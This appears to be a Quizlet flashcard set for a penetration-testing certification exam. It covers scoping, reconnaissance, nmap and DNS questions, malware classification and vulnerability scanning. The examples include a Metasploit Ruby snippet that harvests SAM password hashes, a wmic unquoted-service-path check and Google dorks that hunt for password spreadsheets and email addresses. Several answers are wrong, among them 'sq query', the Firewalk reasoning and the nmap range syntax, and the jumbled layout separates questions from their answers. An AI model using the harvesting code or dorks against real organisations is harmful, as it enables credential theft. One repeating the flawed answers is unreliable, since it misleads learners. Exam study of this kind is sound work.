Part 2

Study online at https://quizlet.com/_fjwsxh

An organization is currently accepting bids for a contract that will involve penetration testing and reporting. The organization is asking all bidders to provide proof of previous penetration testing and reporting experience. One contractor decides to print out a few reports from some previous penetration tests that they performed. What could have occurred as a result of this contractor's actions? A. The contractor will have their bid accepted with a special pay bonus because of their excellent work on previous penetration tests B. The contractor may have inadvertently exposed numerous vulnerabilities they had found at other companies on previous assessments C. The organization accepting the bids will want to use the reports as an example of the format for all bidders to use in the future D. The company accepting the bids will hire the contractor because of the quality of the reports he submitted with his bid	B. The contractor may have inadvertently exposed numerous vulnerabilities they had found at other companies on previous assessments Explanation OBJ-1.1: Pentesters should never disclose any information from previous penetration tests to anyone outside of the assessed organization since this could expose the vulnerability found. This non-disclosure is usually outlined in the original contract and scope of work. If the contractor wishes to provide a sample report, then the report should be created specifically for the contract and only include information from a sample/test network, not a previous customer's assessment. This could also be in breach of the NDA between the pentester and the organization, as well.
An internet marketing company decided that they didn't want to follow the rules for GDPR because it would create too much work for them. They wanted to buy insurance, but no insurance company would write them a policy to cover any fines received. They considered how much the fines might be and decided to ignore the regulation and its requirements. Which of the following risk strategies did the company choose? A. Transference B. Mitigation C. Acceptance D. Avoidance	C. Acceptance Explanation OBJ-1.1: The internet marketing company initially tried to transfer the risk (buy insurance) but then decided to accept the risk. To avoid the risk, the company would have changed how it did business or would prevent European customers from signing up on their mailing list using geolocation blocks.
Dion Training wants to require students to logon using multifactor authentication in an effort to increase the security of the authorization and authentication process. Currently, students login to diontraining.com using a username and password. What proposed solution would best meet the goal of enabling multifactor authentication for the student login process? A. Require students to enter a cognitive password requirement (such as 'What is your dog's name?') B. Require students to enter a unique six-digit number that is sent to them by SMS after entering their username and password C. Require students to create a unique pin that is entered after their username and password are accepted D. Require students to choose an image to serve as a secondary password after logon	B. Require students to enter a unique six-digit number that is sent to them by SMS after entering their username and password Explanation OBJ-1.1: All of the options presented are knowledge factors (something you know) except the six-digit number sent by SMS to your smartphone. This SMS sent number is an example of a possession factor or something you have. In this case, it verifies you have your smartphone. By combining this possession factor with the already in use knowledge factor (username and password), you can establish multifactor security for the login process.
What must be developed to show security improvements over time? A. Reports B. Testing tools C. Metrics D. Taxonomy of vulnerabilities	C. Metrics Explanation OBJ-1.1: Metrics are a method of measuring something over time. If you wish to show the effect of security improvements over time, creating metrics would be a good option. For example, you may wish to look at the number of unpatched and known vulnerabilities. As this number decreases, your network would be considered to have improved security. Reports and testing tools alone cannot show progress. You must have measurable results using metrics.
Your company is setting up a system to accept credit cards in their retail and online locations. Which of the following compliance types should you be MOST concerned with dealing with credit cards? A. PHI B. PCI-DSS	B. PCI-DSS Explanation OBJ-1.1: The Payment Card Industry Data Security Standard (PCI DSS) applies to companies of any size that accept credit card payments. If your company intends to accept card payment and

C. GDPR D. PII	store, process, and transmit cardholder data, you need to securely host your data and follow PCI compliance requirements.
A project lead reviews the statement of work for an upcoming project that is focused on identifying potential weaknesses in the organization's internal and external network infrastructure. As part of the project, a team of external contractors will attempt to employ various attacks against the organization. The work statement specifically addresses the utilization of an automated tool to probe network resources in an attempt to develop logical diagrams indicating weaknesses in the infrastructure. Based on this scope of work, what type of activity is to be performed? A. Session hijacking B. Vulnerability scanning C. Social engineering D. Penetration testing	D. Penetration testing Explanation OBJ-1.1: Penetration testing is the act of using a computer system, an individual network, or another application to find vulnerabilities that an attacker could use to compromise your systems. Penetration testing can also find endpoints with vulnerabilities, which makes the attack surface greater.
Dion Training has contracted you to conduct a penetration test of its web application hosted within AWS Lamba. Part of the assessment will include stress testing the web application using a simulated DDoS attack. Which of the following entities would be the proper signing authority for this penetration test? A. Dion Training's representative since they hired you B. Amazon's representative since they host the servers C. Both organization's representative since one is your client and the other hosts the servers D. Neither organization's representative since you are simulating a DDoS	C. Both organization's representative since one is your client and the other hosts the servers Explanation OBJ-1.1: Written authorization documents help control the amount of liability incurred by the penetration tester. You must ensure you have the correct authorization in place before beginning your engagement. You ALWAYS need written authorization from your client. If the client uses a third-party service provider, then you may need to also get proper authorization from them in writing too. During your engagement planning, you should contact the third-party service provider to determine if written consent is required. In the case of Amazon, there are a handful of services that do not require prior authorization before conducting a penetration test on behalf of your client. DoS and DDoS attacks and simulations do require written authorization from both your client and Amazon. If you do not have this, you could be held liable for any negative consequences to Amazon and its client's servers or even be charged with criminal computer hacking.
Which of the following policies should be created to provide employees with the guidelines and limitations they must follow when using company-provided email, computers, and network access? A. DLP B. PII C. AUP D. GDPR	C. AUP Explanation OBJ-1.1: An acceptable use policy (AUP) governs employees' use of company equipment and Internet services. Enforcing an acceptable use policy is important to protect the organization from the security and legal implications of employees (or customers) misusing its equipment. Typically, the policy will forbid the use of equipment to defraud, defame, or obtain illegal material. It is also likely to prohibit unauthorized hardware or software installation and to forbid actual or attempted intrusion (snooping) explicitly. An organization's acceptable use policy may forbid the use of Internet tools outside of work-related duties or restrict such use to break times.
Which of the following is a DNS record type? A. TTL B. DHCP C. PTR D. LDAP	C. PTR Explanation OBJ-2.1: There are several types of DNS records, including A, AAAA, CNAME, PTR, SVR, and TXT. PTR records are used for the Reverse DNS (Domain Name System) lookup. Using the IP address, you can get the associated domain/hostname. An A record should exist for every PTR record.
Jason is conducting a penetration test against an organization's Windows network. He then enters a command into the shell and receives the following output: ==========	C. Unquoted service path Explanation

C:\Users\jason\Desktop> wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """"

VulnerableService Some Vulnerable Service C:\Program Files\A Subfolder\B Subfolder\SomeExecutable.exe
==========

Based on the output above, which of the following types of vulnerabilities does this Windows system contain?

A. Writeable services
B. Clear text credentials in LDAP
C. Unquoted service path
D. Unsecure file/folder permissions

OBJ-2.3: This Windows machine contains an unquoted service path vulnerability, as shown in the output. If a service is created with an executable path that contains spaces and is not enclosed within quotes, then an unquoted service path vulnerability exists. In Windows, if the service is not enclosed within quotes and is having spaces, it would handle the space as a break and pass the rest of the service path as an argument. If the service involved has SYSTEM privileges, an attacker could exploit this vulnerability and gain SYSTEM level access. This command finds the service name, executable path, the display name of the service, and auto starts in all the directories except C:\Windows\ (since by default there is no such service that has spaces and is unquoted in this folder). As shown in the output, the service called "VulnerableService" has an unquoted service path.

Stephane was asked to assess the technical impact of a reconnaissance performed against his organization. He has discovered that a third party has been performing reconnaissance by querying the organization's WHOIS data. Which category of technical impact should he classify this as?

A. Critical
B. High
C. Medium
D. Low

D. Low

Explanation
OBJ-2.1: This would be best classified as a low technical impact. Since WHOIS data about the organization's domain name is publicly available, it is considered a low impact. This is further mitigated by the fact that your company gets to decide what information is actually published in the WHOIS data. Since only publicly available information is being queried and exposed, this can be considered a low impact.

Which of the following techniques listed below are not appropriate to use during a passive reconnaissance exercise against a specific target company?

A. WHOIS lookups
B. Banner grabbing
C. BGP looking glass usage
D. Registrar checks

B. Banner grabbing

Explanation
OBJ-2.1: Banner grabbing requires a connection to the host to grab the banner successfully. This is an active reconnaissance activity. All other options are considered passive processes and typically use information retrieved from third-parties that do not directly connect to an organization's remote host.

What nmap switch would you use to determine which UDP ports are open on a targeted network?

A. -sN
B. -sP
C. -sS
D. -sU

D. -sU

Explanation
OBJ-2.2: In nmap, the -sU flag is used to scan UDP ports. The -sS flag will only scan TCP ports using an SYN scan. The -sP flag is a legacy (and depreciated) command for a ping scan. The -sN flag is used to conduct a TCP NULL scan.

You have been given access to a Windows system located on an Active Directory domain as part of a white box penetration test. Which of the following commands would provide information about other systems on this network?

A. net use
B. net user
C. net group
D. net config

A. net use

Explanation
OBJ-2.3: The net use command will list network shares that the workstation is using. This will help to identify file servers and print servers on the network. The net group command can only be used on domain controllers. The net config command will allow servers and workstations services to be controlled once they have already been identified. The net user command would show any user accounts on the local Windows workstation you are using.

You have conducted a Google search for the "site:diontraining.com -site:sales.diontraining.com financial." What results do you expect to receive?

A. Google results matching all words in the query
B. Google results matching "financial" in domain webserver.com. but no results from the site sales.webserver.com
C. Google results for keyword matches from the site sales.diontraining.com that are in the domain diontraining.com but do not include the word financial

B. Google results matching "financial" in domain webserver.com. but no results from the site sales.webserver.com

Explanation
OBJ-2.1: When conducting a Google search, using site:AAA in the query will return results only from that website (AAA). If you use -site:AAA, you will get results not explicitly on the website (AAA). In the case of this question, no results should show up from sales.diontraining.com. All results should only come from diontraining.com.

D. Google results for keyword matches on diontraining.com and sales.diontraining.com that include the word "financial"	
A technician just completed the second phase of their scans using Firewalk and the following output was displayed on their terminal: ========== TCP port 21 - no response TCP port 22 - no response TCP port 23 - Time-to-live exceeded ========== Based on these scan results, which of the following statements are true? A. Firewall is blocking ports 21 through 23 and a service on the target is listening on port 23 B. No response from port 21 and 22 indicates services are not running on the target C. Port 23 was not blocked at the firewall because the scan on port 23 passed through the filtering device D. A TTL response error indicates port 23 was able to make a connection to the target	C. Port 23 was not blocked at the firewall because the scan on port 23 passed through the filtering device Explanation OBJ-2.2: Firewalk is a scanning tool that sends TCP or UDP packets with a TTL one greater than the targeted gateway. If the gateway allows the traffic, it will forward the packets to the next hop where they will expire and elicit an ICMP_TIME_EXCEEDED message. If the gateway host does not allow the traffic, it will likely drop the packets and no response will be sent. Therefore, if a TTL exceeded message is received, this indicates that the associated port is being filtered by a firewall and not the gateway itself.
A system administrator wants to verify that external IP addresses cannot collect software versioning from servers on the network. Which of the following should the system administrator do to confirm the network is protected? A. Analyze packet captures B. Utilize netstat to locate active connections C. Use nmap to query known ports D. Review the ID3 logs on the network	A. Analyze packet captures Explanation OBJ-2.3: Captured packets show you the information that was traveling through certain files, etc. Packet sniffers detail the information they've received, so working through those shows if the external network shows or details software versions.
You conducted a security scan and found that port 389 is being used when connecting to LDAP for user authentication instead of port 636. The security scanning software recommends that you remediate this by changing user authentication to port to 636 wherever possible. What should you do? A. Conduct remediation actions to update encryption keys on each server to match port 636 B. Mark this as a false positive in your audit report since the services that typically run on ports 389 and 636 are identical C. Change all devices and servers that support it to port 636 since encrypted services run by default on port 636 D. Change all devices and servers that support it to port 636 since port 389 is a reserved port that requires root access and can expose the server to privilege escalation attacks	C. Change all devices and servers that support it to port 636 since encrypted services run by default on port 636 Explanation OBJ-2.3: LDAP can be run on either port 389 or port 636. Port 389 is the standard port for LDAP but typically runs unencrypted LDAP services over this port. Instead, you should change all devices and servers that can technically support the change to port 636 since LDAP services over port 636 are encrypted by default.
Dion Training has publicly hosted web applications and an internal Intranet server that is protected by a firewall. Which of the following techniques would help them protect themselves against enumeration? A. Reject all invalid emails received over SMTP B. Allow full DNS zone transfer C. Remove A records for any internal hosts D. Enable null session pipeson their intranet	C. Remove A records for any internal hosts Explanation OBJ-2.3: Any internal server names and IPs should have their A records removed from the external DNS server because only internal users need to access the in ternal records. Dion Training's internal servers should only have A records on their internal DNS server. Those A records should not be forwarded outside of the firewall boundary to prevent reconnaissance and enumeration by attackers.
A coworker is conducting open-source intelligence gathering for an upcoming penetration test against Dion Training. You look over their shoulder and saw them enter the following URL, https://www.google.com/search?q=*%40diontraining.com. Which	C. Returns all web pages containing an email address affiliated with diontraining.com Explanation OBJ-2.1: Google interprets this statement as <anything>@diontraining.com and understands that the user is searching for email

of the following is true about the results of this search? A. Returns no useful results for an attacker B. Returns all web pages containing the text diontraining.com C. Returns all web pages containing an email address affiliated with diontraining.com D. Returns all web pages hosted at diontraining.com	addresses since %40 is the hex code for the @ symbol. The * is a wild card character meaning that any text could be substituted for the * in the query. This type of search would provide an attacker with a list of email addresses associated with diontraining.com, which could be used as part of a spear-phishing campaign. To return all web pages hosted at diontraining.com, you should use the "site:" modifier in the query. To return all web pages with the text diontraining.com, enter "diontraining.com" into the Google search bar with no modifiers to return those results.
If you cannot ping a target because you are receiving no response or a response that states the destination is unreachable, then ICMP may be disabled on the remote end. If you wanted to elicit a response from a host using TCP, what tool would you use? A. Hping B. Traceroute C. Ptunnel D. Broadcast ping	A. Hping Explanation OBJ-2.2: Hping is a handy little utility that assembles and sends custom ICMP, UDP, or TCP packets and then displays any replies. It was inspired by the ping command but offered far more control over the probes sent. It also has a handy traceroute mode and supports IP fragmentation. Hping is particularly useful when trying to traceroute/ping/probe hosts behind a firewall that blocks attempts using the standard utilities. Hping also allows you to map out firewall rule sets. It is also great for learning more about TCP/IP and experimenting with IP protocols. Hping does not support IPv6, though, so the NMAP creators have created Nping to fill this gap and serve as an updated variant of Hping. Traceroute and tracert are computer network diagnostic commands for displaying the route and measuring packets' transit delays across an Internet Protocol network. Traceroute uses ICMP and not TCP. Broadcast ping is simply pinging the subnet's broadcast IP using the ping command, but if a regular ping does not work, neither will a broadcast ping. Ptunnel is an application that allows you to reliably tunnel TCP connections to a remote host using ICMP echo request and reply packets, commonly known as ping requests and replies. Ptunnel is used as a covert channel, not to elicit a response from a host using TCP.
A cybersecurity analyst is reviewing the logs of a proxy server and saw the following URL, https://www.google.com/search?q=password+filetype%3Axls+site%3Adiontraining.com&pws=0&filter=p. Which of the following is true about the results of this search? (SELECT THREE) A. All search filters are deactivated B. Returns only files hosted at diontraining.com C. Returns only Microsoft Excel spreadsheets D. Find sites related to diontraining.com E. Excludes Microsoft Excel spreadsheets F. Personalization is turned off	B. Returns only files hosted at diontraining.com, C. Returns only Microsoft Excel spreadsheets, F. Personalization is turned off Explanation OBJ-2.1: The above example searches for files with the name "password" in them (q=password) and (+) have a filetype equal to xls (filetype%3Axls, %3A is the hex-code for ':') and (+) limits the results to files hosted on diontraining.com (site%3Adiontraining.com) and (&) disables personalization (pws=0) and (&) deactivates the directory filtering function (filter=p). If you wanted to exclude Microsoft Excel spreadsheets, this would be done by typing -filetype%3Axls as part of the search query. To find related websites or pages, you would include the "related:" term to the query. To deactivate all filters from the search, the "filter=0" should be used. To deactivate the directory filtering function, the "filter=p" is used.
A coworker sent you the following snippet of a Ruby script to use during an upcoming engagement for Dion Training's corporate network: ======== if client.platform == 'windows' db_ok = client.framework.db.active client.core.use("priv") if not client.respond_to?("priv") client.core.use("incognito") if not client.respond_to?("incognito") hashes = client.priv.sam_hashes addr = client.sock.peerhost print_good "Working..."	B. Credential harvesting Explanation

hashes.each do |hash| data = {} data[:host] = addr data[:port] = 445 data[:sname] = 'smb' data[:user] = hash.user_name data[:pass] = hash.lanman + ":" + hash.ntlm data[:type] = "smb_hash" data[:active] = true print_line " Extracted: #{data[:user]}:#{data[:pass]}" client.framework.db.report_auth_info(data) if db_ok end ========== During the upcoming engagement, what should you use this script to perform? A. Network enumeration B. Credential harvesting C. Proxying a connection D	OBJ-2.3: This snippet of a Ruby script comes from the Metasploit framework as part of its credcollect.rb script. Most of the meterpreter scripts in Metasploit are written in Ruby, as it quickly became one of the favorite languages of penetration testers. Even if you cannot read and understand this entire script, you should identify some keywords and phrases to guess the correct answer. For example, line 6 mentions sam_hashes, which is used in Windows authentication. The script then extracts the data from the sam_hases for each username and password it could find and stores it in the client (Metasploit) database. For the exam, you need to read a script and understand its basic workflow and functions.
Which of the following tools can NOT be used to conduct a banner grab from a web server on a remote host? A. netcat B. telnet C. wget D. ftp	D. ftp Explanation OBJ-2.1: FTP cannot be used to conduct a banner grab. A cybersecurity analyst or penetration tester uses a banner grab to gain information about a computer system on a network and the services running on its open ports. Administrators can use this to take inventory of the systems and services on their network. This is commonly done using telnet, wget, or netcat.
The management at Steven's work is concerned about rogue devices being attached to the network. Which of the following solutions would quickly provide the most accurate information that Steve could use to identify rogue devices on a wired network? A. A discovery scan using a port scanner B. Router and switch-based MAC address reporting C. A physical survey D. Reviewing a central administration tool like a SCCM	B. Router and switch-based MAC address reporting Explanation OBJ-2.1: The best option is MAC address reporting from a source device like a router or a switch. If the company uses a management system or inventory process to capture these addresses, then a report from one of these devices will show what is connected to the network even when they are not currently in the inventory. This information could then be used to track down rogue devices based on the physical port connected to a network device.
Your organization's networks contain 4 subnets: 10.0.0.0, 10.0.1.0, 10.0.2.0, and 10.0.3.0. Using nmap, how can you scan all 4 subnets using a single command? A. nmap -Pn 10.0.0.0-3.0 B. nmap -Pn 10.0.0.0/23 C. nmap -Pn 10.0.0.0,1.0,2.0,3.0 D. nmap -Pn 10.0.0.0/25	A. nmap -Pn 10.0.0.0-3.0 Explanation OBJ-2.2: The simplest way to scan multiple subnets adjacent to each other is to use the -Pn tells the command to conduct a host-only scan of every IP in this target space without using ping. Using the dash (-) in the IP address means to scan "this network through this network." So, 10.0.0-3.0 will scan every IP from 10.0.0.0 through 10.0.3.255.
A coworker is conducting open-source intelligence gathering for an upcoming penetration test against Dion Training. You look over their shoulder and saw them enter the following URL, https://www.google.com/search?q=password+filetype%3Axls+site%3Adiontraining.com&pws=0&filter=p. Which of the following is true about the results of this search? (SELECT THREE) A. All search filters are deactivated B. Returns only files hosted at diontraining.com C. Returns only Microsoft Excel spreadsheets	F. Personalization is turned off Explanation OBJ-2.1: The above example searches for files with the name "password" in them (q=password) and (+) have a filetype equal to xls (filetype%3Axls, %3A is the hex-code for ':') and (+) limits the results to files hosted on diontraining.com (site%3Adiontraining.com) and (&) disables personalization (pws=0) and (&) deactivates the directory filtering function (filter=p). If you wanted to exclude Microsoft Excel spreadsheets, this would be done by typing -filetype%3Axls as part of the search query. To find related

D. Find sites related to diontraining.com E. Excludes Microsoft Excel spreadsheets F. Personalization is turned off	websites or pages, you would include the "related:" term to the query. To deactivate all filters from the search, the "filter=0" should be used. To deactivate the directory filtering function, the "filter=p" is used.
A pentester is trying to map the organization's internal network. The analyst enters the following command (nmap -n -sS -T4 -p 80 10.0.3.0/24). What type of scan is this? A. Quick Scan B. Intense Scan C. Stealth Scan D. Comprehensive Scan	C. Stealth Scan Explanation OBJ-2.2: In nmap, the -sS flag signifies a stealth scan. This is also known as an SYN scan and is the most popular scan option for good reasons. It can be performed quickly, scanning thousands of ports per second on a fast network, and is not hampered by restrictive firewalls. It is also relatively unobtrusive and stealthy since it never completes TCP connections.
After issuing the command "telnet diontraining.com 80" and connecting to the server, what command conducts the banner grab? A. HEAD /HTTP/1.1 B. PUT /HTTP/1.1 C. HEAD /HTTP/2.0 D. PUT /HTTP/2.0	A. HEAD /HTTP/1.1 Explanation OBJ-2.1: To conduct a banner grab using telnet, you first must connect to the server using "telnet webserver 80". Once the connection establishes, you will receive a blank prompt, and you then issue the command "HEAD / HTTP/1.1". It requests the document header from the server and provides information such as the server software version and the server's operating system.
You have been asked to create an allow statement on the firewall's ACL to allow NTP traffic to pass into the network. Which port should be included? A. 69 B. 123 C. 143 D. 636	B. 123 Explanation OBJ-2.3: The correct port for NTP is 123. Port 69 is used for TFTP. Port 143 is used for IMAP. Port 636 is used for LDAPS.
What method might a system administrator use to replicate the DNS information from one DNS server to another, but could also be used maliciously by an attacker? A. Zone transfers B. DNS registration C. CNAME D. DNSSEC	A. Zone transfers Explanation OBJ-2.3: Zone transfers provide an easy way to send all the DNS information from one DNS server to another, but an attacker could also use it for reconnaissance against your organization. For this reason, most administrators disable zone transfers from untrusted servers. DNSSEC strengthens authentication in DNS using digital signatures based on public-key cryptography. CNAME is a Canonical Name Record or Alias Record. A type of resource record in the Domain Name System (DNS) specifies that one domain name is an alias of another canonical domain name. DNS registration is a service, which allows the owner of a domain name to use their name servers, which can match the domain name in question.
Dion Training has just installed a new web server and created an A record for DionTraining.com. When users try entering www.DionTraining.com, though, they get an error. You tell their network administrator that the problem is because he forgot to add the appropriate DNS record to create an alias for www to the domain's root. Which type of DNS record should be added to fix this issue? A. PTR B. NS C. CNAME D. AAAA	C. CNAME Explanation OBJ-2.1: CNAME records can be used to alias one name to another. CNAME stands for Canonical Name. A common example is when you have both diontraining.com and www.diontraining.com pointing to the same application and hosted by the same server.
You are scanning a target as part of a penetration test. You discovered that the network uses Snort configured as a network-based IDS. Which of the following occurs when an alert rule has been matched in Snort during your scan?	B. The entire packet will be evaluated until all of the IDS alert rules have been checked and the packet is allowed to continue it's journey

A. The packet matching the rule will be dropped and the IDS will continue scanning new packets B. The entire packet will be evaluated until all of the IDS alert rules have been checked and the packet is allowed to continue it's journey C. The IDS will send an alert, stop checking the rest of the rules, and allow the packet to continue its journey D. The source IP address will be blocked and its connection with the network terminated	Explanation OBJ-2.3: If Snort is operating as an IDS, it will not block the connection or drop the packet. Instead, Snort will evaluate the entire packet and check all the alert rules, logging any matches it finds, and then allow it to continue onward to its destination.
A recent threat has been announced in the cybersecurity world, stating a critical vulnerability in a particular operating system's kernel. Unfortunately, your company has not maintained a current asset inventory, so you are unsure of how many your servers may be affected. What should you do to find all of the affected servers within your network? A. Manually review the syslog server's logs B. Conduct an OS fingerprinting scan across the network C. Conduct a packet capture of data traversing the server network D. Conduct a service discovery scan on the network	B. Conduct an OS fingerprinting scan across the network Explanation OBJ-2.2: By utilizing operating system fingerprinting using a tool like nmap, you can identify the servers running each version of an operating system. This will give you an accurate list of the possibly affected servers. Once you have this list, you can focus your attention on just those servers that need further inspection and scanning. Manually review the Syslog server's log would take too long, and would not find servers that don't send their logs to the Syslog server. Conducting a packet capture would only allow you to find the server actively transmitting data during the period of time you are capturing. Conducting a service discovery scan would not identify which servers are running which operating systems effectively. For example, if you see that the Apache web service is running on port 80, it doesn't indicate running Linux or Windows as the underlying server.
What type of weakness is John the Ripper used to test during a technical assessment? A. Usernames B. File permissions C. Firewall rulesets D. Passwords	D. Passwords Explanation OBJ-3.2: John the Ripper is a free, open-source password cracking software tool. It tests the strength of passwords during a technical assessment. John the Ripper supports both dictionary and brute force attacks.
You are reverse engineering a piece of malware recovered from a retailer's network for analysis. They found that the malicious code was extracting track data from their customer's credit cards during processing. Which of the following types of threats would you classify this malware as? A. Rootkit B. Keylogger C. Ransomware D. POS malware	D. POS malware Explanation OBJ-3.3: Point-of-sale malware (POS malware) is usually a type of malicious software (malware) that is used by cybercriminals to target point of sale (POS) and payment terminals with the intent to obtain credit card and debit card information, a card's track 1 or track 2 data and even the CVV code, by various man-in-the-middle attacks, that is the interception of the processing at the retail checkout point of sale system. Ransomware is a type of malware that threatens to publish the victim's data or perpetually block access to it unless a ransom is paid. Keyloggers are a type of monitoring software designed to record keystrokes made by a user. These keyloggers can record the information you type into a website or application and send to back to an attacker. A rootkit is a malware class that modifies system files, often at the kernel level, to conceal its presence.
You have run a vulnerability scan and received the following output: ========== CVE-2011-3389 QID 42366 - SSLv3.0/TLSv1.0 Protocol weak CBC mode Server side vulnerability Check with: openssl s_client -connect login.diontraining.com:443 - tls -cipher "AES:CAMELLISA:SEED:3DES:DES" ========== Which of the following categories should this be classified as?	C. Web application cryptography vulnerability Explanation OBJ-3.1: This vulnerability should be categories as a web application cryptographic vulnerability. This is shown by the weak SSLv3.0/TLSv1.0 protocol being used in cipher block chaining (CBC) mode. Specifically, the use of the 3DES and DES algo-

A. PKI transfer vulnerability B. Active Directory encryption vulnerability C. Web application cryptography vulnerability D. VPN tunnel vulnerability	rithms during negotiation is a significant vulnerability. A stronger protocol should be used, such as forcing the use of AES.
Which of the following is the most difficult to confirm with an external vulnerability scan? A. Cross-site scripting (XSS) B. Cross-site request forgery (XSRF/CSRF) C. Blind SQL injection D. Unpatched web server	C. Blind SQL injection Explanation OBJ-3.1: Vulnerability scanners typically cannot confirm that a blind SQL injection with the execution of code has previously occurred. XSS and CSRF/XSRF are typically easier to detect because the scanner can pick up information that proves a successful attack. The banner information can usually identify unpatched servers.
Which of the following is a best practice that should be followed when scheduling vulnerability scans of an organization's data center? A. Schedule scan to be conducted evenly throughout the day B. Schedule scans to run during periods of low activity C. Schedule scans to begin at the same time every day D. Schedule scans to run during peak times to simulate performance under load	B. Schedule scans to run during periods of low activity Explanation OBJ-3.1: For the best results, the scans should be scheduled during periods of low activity. This will help to reduce the negative impact of scanning on business operations. The other three options all carry a higher risk of causing disruptions to the network or its business operations.
You have been tasked to create some baseline system images to remediate vulnerabilities found in different operating systems. Before any of the images can be deployed, they must be scanned for malware and vulnerabilities. You must ensure the configurations meet industry-standard benchmarks and that the baselining creation process can be repeated frequently. What vulnerability option would BEST create the process requirements to meet the industry-standard benchmarks? A. Utilizing an operating system SCAP plugin B. Utilizing an authorized credential scan C. Utilizing a non-credential scan D. Utilizing a known malware plugin	A. Utilizing an operating system SCAP plugin Explanation OBJ-3.1: Security Content Automation Protocol (SCAP) is a multi-purpose framework of specifications supporting automated configuration, vulnerability and patch checking, technical control compliance activities, and security measurement. It is an industry-standard and support testing for compliance. The other options will not allow for a truly repeatable process since individual scans would occur each time instead of comparing against a known good baseline.
A software developer has just finished writing a new application. You have been contracted to conduct a scan to determine what vulnerabilities may exist. The developer provides you with the source code and the binary for the application. Which of the following should you perform FIRST? A. Vulnerability scan B. Dynamic application scan C. Static application scan D. Compliance scan	C. Static application scan Explanation OBJ-3.1: A static application scan, or static code analysis, is the process of reviewing the source code while it is not executing. This requires the source code of the application, which in this scenario was provided. Static analysis can help you discover how the application functions and will allow you to find mistakes caused by poor programming practices, such as the failure to conduct input validation. If you have the source code and understand how to read the language used in it, you should first conduct a static code analysis. Once completed, you can move on to a dynamic application scan.
On your lunch break, you walked down to the coffee shop on the corner. You open your laptop and connect to their wireless network. After a few minutes of surfing the Internet, a pop-up is displayed on your screen. You close the pop-up, finish your lunch break, shut down the laptop, and put it back into your backpack. When you get back to the office, you take out the laptop and turn it on, but instead of your normal desktop background, you are greeted by a full-screen image with a padlock and a message stating you have to pay 1 BTC to regain access to your personal files. What type of malware has infected your laptop? A. Trojan	C. Ransomware Explanation OBJ-3.3: This scenario is describing a ransomware attack. Your personal files are being held hostage and will not be released unless you pay a ransom (in this case, 1 BTC). You should restore your machine from a known good backup and restore your personal files from the backup, as well. You should not pay the ransom since the attackers usually still will not unlock your files.

B. Spyware C. Ransomware D. Rootkit	
Which of the following types of attackers are sophisticated and highly organized people or teams typically sponsored by a nation-state? A. Script kiddies B. Hacktivists C. Advanced Persistent Threat D. Ethical hacker	C. Advanced Persistent Threat Explanation OBJ-3.3: Advanced Persistent Threat (APT) attackers are sophisticated and have access to financial and technical resources typically provided by a government. An APT is an attacker with the ability to obtain, maintain, and diversify access to network systems using exploits and malware. A hacktivist is an attacker that is motivated by a social issue or political cause. A script kiddie has little skill or sophistication and uses publicly available tools and techniques. An ethical hacker specializes in penetration testing and in other testing methodologies that ensure the security of an organization's information systems. An ethical hacker is also known as a white hat hacker.
The Security Operations Center Director for Dion Training received a pop-up message on his workstation that said, "You will regret firing me; just wait until Christmas!" He suspects the message came from a disgruntled former employee who may have set up a piece of software to create this pop-up on his machine. The director is now concerned that other code might be lurking within the network that could negatively affect Christmas. He directs his team of cybersecurity analysts to begin searching the network for this suspicious code. What type of malware should they be searching for? A. Worm B. Trojan C. Adware D. Logic bomb	D. Logic bomb Explanation OBJ-3.3: A logic bomb is a piece of code intentionally inserted into a software system that will set off a malicious function when specified conditions are met. For example, a programmer may hide a piece of code that starts deleting files should they ever be terminated from the company. The director is concerned that a logic bomb may have been created and installed on his system or across the network before the analyst was fired.
A vulnerability scanner has reported that a vulnerability exists in the system. Upon validating the report, the analyst determines that this reported vulnerability does not exist on the system. What is the proper term for this situation? A. False positive B. False negative C. True positive D. True negative	A. False positive Explanation OBJ-3.1: A false positive occurs when a scanner detects a vulnerability, but the vulnerability does not actually exist on the scanned system. A true positive occurs when a scanner detects a vulnerability, and the vulnerability exists on the scanned system. A true negative occurs when a scanner does not detect a vulnerability because the vulnerability does not exist on the scanned system. A false negative occurs when a scanner does not detect a vulnerability, but the vulnerability actually exists on the scanned system.
What command could be used to list the active services from the Windows command prompt? A. sc query type= runnung B. sc query \\servername C. sq query D. sc config	C. sq query Explanation OBJ-3.2: Windows uses the sc query to display information about the running service. It is part of the Service Control command-line tool, known as sc. The sc config command will modify the value of a service's entries in the registry and the Service Control Manager database. The sc query command will obtain and display information about the specified service, driver, type of service, or driver type. By entering just the sc query, the command will return the information on the active services only. By using the type=running option, only the information on the running service will be displayed. If the command sc query \\servername is used, then the remote server's active services (\\servername) will be displayed.

You have noticed some unusual network traffic outbound from a certain host. The host is communicating with a known malicious server over port 443 using an encrypted TLS tunnel. You ran a full system anti-virus scan of the host with an updated anti-virus signature file, but the anti-virus did not find any infection signs. Which of the following has MOST likely occurred? A. Zero-day attack B. Password spraying C. Session hijacking D. Directory traversal	A. Zero-day attack Explanation OBJ-3.3: Since you scanned the system with the latest anti-virus signatures and did not find any signs of infection, it would most likely be evidence of a zero-day attack. A zero-day attack has a clear sign of compromise (the web tunnel being established to a known malicious server). The anti-virus doesn't have a signature yet for this particular malware variant. Password spraying occurs when an attacker tries to log in to multiple different user accounts with the same compromised password credentials. Session hijacking is exploiting a valid computer session to gain unauthorized access to information or services in a computer system. Based on the scenario, it doesn't appear to be session hijacking since the user would not normally attempt to connect to a malicious server. Directory traversal is an HTTP attack that allows attackers to access restricted directories and execute commands outside of the web server's root directory. A directory traversal is usually indicated by a dot dot slash (../) in the URL being attempted.
What is the proper threat classification for a security breach that employs brute-force methods to compromise, degrade, or destroy systems? A. Attrition B. Impersonation C. Improper usage D. Loss or theft of equipment	A. Attrition Explanation OBJ-3.2: Attrition attacks employ brute-force methods to compromise, degrade, or destroy systems, networks, or services. An impersonation attack occurs when the attacker gains control of an employee's account and uses it to convince other employees to perform fraudulent actions. Improper usage occurs when an employee or other authorized user utilizes the systems or networks not as intended or designed. The loss or theft of equipment usually relates to a smartphone, tablet, or laptop is lost or stolen, and then the data on it becomes compromised.
